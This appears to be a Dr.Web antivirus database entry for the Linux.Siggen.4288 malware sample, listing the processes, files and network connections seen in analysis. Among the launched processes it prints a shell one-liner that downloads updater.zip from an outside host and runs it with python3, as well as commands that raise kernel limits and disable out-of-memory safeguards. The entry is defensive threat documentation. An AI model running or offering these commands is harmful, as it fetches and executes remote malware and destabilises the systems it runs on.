FOR CUSTOMERS

Library
My library

+ Add to library

Contact us
24/7 Tech support | Rules regarding submitting

Send a message

Your tickets

Profile

Linux.Siggen.4288

Added to the Dr.Web virus database: 2021-12-30

Virus description added:

Technical Information

Malicious functions:
Substitutes application name for:
  • <SAMPLE>
Launches processes:
  • <SAMPLE_FULL_PATH>
  • sh -c ulimit -n 999999 || ulimit -n 99999 && ulimit -s 25600000 && ulimit -i 12000000 && echo 800000000 >/proc/sys/kernel/threads-max && echo 600000000 >cat /proc/sys/kernel/shmmni && echo 4000000 >/proc/sys/kernel/pid_max; sysctl -w fs.file-max=100000
  • sysctl -w fs.file-max=100000
  • sh -c echo 0 > /proc/sys/vm/panic_on_oom && echo 0 > cat /proc/sys/vm/oom_kill_allocating_task && echo 2 > cat /proc/sys/vm/overcommit_memory
  • sh -c cd /tmp; (( apt update -y && apt install python3 wget -y ) || ( yum update -y && yum install epel-release -y && yum install python3 wget -y )); wget -O updater.zip http://repo.ark-event.net/downloads/updater.zip; python3 updater.zip && rm updater.zip && cd ~
  • apt update -y
  • /usr/bin/dpkg --print-foreign-architectures
  • /usr/lib/apt/methods/http
Kills the following processes:
  • /usr/lib/apt/methods/http
Performs operations with the file system:
Modifies file access rights:
  • /tmp/_MEIV0eMBv/_cffi_backend.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/bcrypt/_bcrypt.abi3.so
  • /tmp/_MEIV0eMBv/cryptography/hazmat/bindings/_openssl.abi3.so
  • /tmp/_MEIV0eMBv/cryptography/hazmat/bindings/_rust.abi3.so
  • /tmp/_MEIV0eMBv/lib-dynload/_asyncio.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/_bz2.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/_codecs_cn.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/_codecs_hk.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/_codecs_iso2022.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/_codecs_jp.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/_codecs_kr.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/_codecs_tw.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/_contextvars.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/_ctypes.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/_decimal.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/_hashlib.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/_json.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/_lzma.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/_multibytecodec.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/_multiprocessing.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/_opcode.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/_posixshmem.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/_queue.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/_ssl.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/mmap.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/readline.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/resource.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/termios.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/libbz2.so.1.0
  • /tmp/_MEIV0eMBv/libcrypto.so.1.0.0
  • /tmp/_MEIV0eMBv/libexpat.so.1
  • /tmp/_MEIV0eMBv/libffi-9c61262e.so.8.1.0
  • /tmp/_MEIV0eMBv/libffi.so.6
  • /tmp/_MEIV0eMBv/libgcc_s.so.1
  • /tmp/_MEIV0eMBv/liblzma.so.5
  • /tmp/_MEIV0eMBv/libmpdec.so.2
  • /tmp/_MEIV0eMBv/libpython3.9.so.1.0
  • /tmp/_MEIV0eMBv/libreadline.so.6
  • /tmp/_MEIV0eMBv/libssl.so.1.0.0
  • /tmp/_MEIV0eMBv/libtinfo.so.5
  • /tmp/_MEIV0eMBv/libz.so.1
  • /tmp/_MEIV0eMBv/nacl/_sodium.abi3.so
  • /tmp/_MEIV0eMBv/base_library.zip
  • /tmp/_MEIV0eMBv/certifi/cacert.pem
  • /tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/INSTALLER
  • /tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/LICENSE
  • /tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/LICENSE.APACHE
  • /tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/LICENSE.BSD
  • /tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/LICENSE.PSF
  • /tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/METADATA
  • /tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/RECORD
  • /tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/WHEEL
  • /tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/top_level.txt
Creates folders:
  • /tmp/_MEIV0eMBv
  • /tmp/_MEIV0eMBv/bcrypt
  • /tmp/_MEIV0eMBv/cryptography
  • /tmp/_MEIV0eMBv/cryptography/hazmat
  • /tmp/_MEIV0eMBv/cryptography/hazmat/bindings
  • /tmp/_MEIV0eMBv/lib-dynload
  • /tmp/_MEIV0eMBv/nacl
  • /tmp/_MEIV0eMBv/certifi
  • /tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info
Creates or modifies files:
  • /tmp/_MEIV0eMBv/_cffi_backend.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/bcrypt/_bcrypt.abi3.so
  • /tmp/_MEIV0eMBv/cryptography/hazmat/bindings/_openssl.abi3.so
  • /tmp/_MEIV0eMBv/cryptography/hazmat/bindings/_rust.abi3.so
  • /tmp/_MEIV0eMBv/lib-dynload/_asyncio.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/_bz2.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/_codecs_cn.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/_codecs_hk.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/_codecs_iso2022.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/_codecs_jp.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/_codecs_kr.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/_codecs_tw.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/_contextvars.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/_ctypes.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/_decimal.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/_hashlib.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/_json.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/_lzma.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/_multibytecodec.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/_multiprocessing.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/_opcode.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/_posixshmem.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/_queue.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/_ssl.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/mmap.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/readline.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/resource.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/lib-dynload/termios.cpython-39-x86_64-linux-gnu.so
  • /tmp/_MEIV0eMBv/libbz2.so.1.0
  • /tmp/_MEIV0eMBv/libcrypto.so.1.0.0
  • /tmp/_MEIV0eMBv/libexpat.so.1
  • /tmp/_MEIV0eMBv/libffi-9c61262e.so.8.1.0
  • /tmp/_MEIV0eMBv/libffi.so.6
  • /tmp/_MEIV0eMBv/libgcc_s.so.1
  • /tmp/_MEIV0eMBv/liblzma.so.5
  • /tmp/_MEIV0eMBv/libmpdec.so.2
  • /tmp/_MEIV0eMBv/libpython3.9.so.1.0
  • /tmp/_MEIV0eMBv/libreadline.so.6
  • /tmp/_MEIV0eMBv/libssl.so.1.0.0
  • /tmp/_MEIV0eMBv/libtinfo.so.5
  • /tmp/_MEIV0eMBv/libz.so.1
  • /tmp/_MEIV0eMBv/nacl/_sodium.abi3.so
  • /tmp/_MEIV0eMBv/base_library.zip
  • /tmp/_MEIV0eMBv/certifi/cacert.pem
  • /tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/INSTALLER
  • /tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/LICENSE
  • /tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/LICENSE.APACHE
  • /tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/LICENSE.BSD
  • /tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/LICENSE.PSF
  • /tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/METADATA
  • /tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/RECORD
  • /tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/WHEEL
  • /tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/top_level.txt
  • /proc/sys/fs/file-max
  • /proc/sys/vm/panic_on_oom
  • /root/cat
  • /var/lib/apt/lists/lock
  • /var/lib/apt/lists/security.debian.org_dists_jessie_updates_InRelease
  • /var/lib/apt/lists/ftp.ru.debian.org_debian_dists_jessie-updates_InRelease
Network activity:
Establishes connection:
  • <LOCAL_DNS_SERVER>
  • 15#.##1.66.132:80
  • 15#.##1.130.132:80
  • 15#.##1.194.132:80
  • 15#.##1.2.132:80
  • [2#####e42:400::644]:80
  • [2#####e42:600::644]:80
  • [2####4e42::644]:80
  • [2#####e42:200::644]:80
  • 85.###.112.112:80
DNS ASK:
  • se####ty.debian.org
  • ft#.##.debian.org
Other:
Collects CPU information
Collects RAM information

Curing recommendations


Linux

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

Free trial

One month (no registration) or three months (registration and renewal discount)

Download Dr.Web

Download by serial number

Dr.Web © Doctor Web
2003 — 2022

Doctor Web is a Russian cybersecurity company focused on threat detection, prevention and response technologies.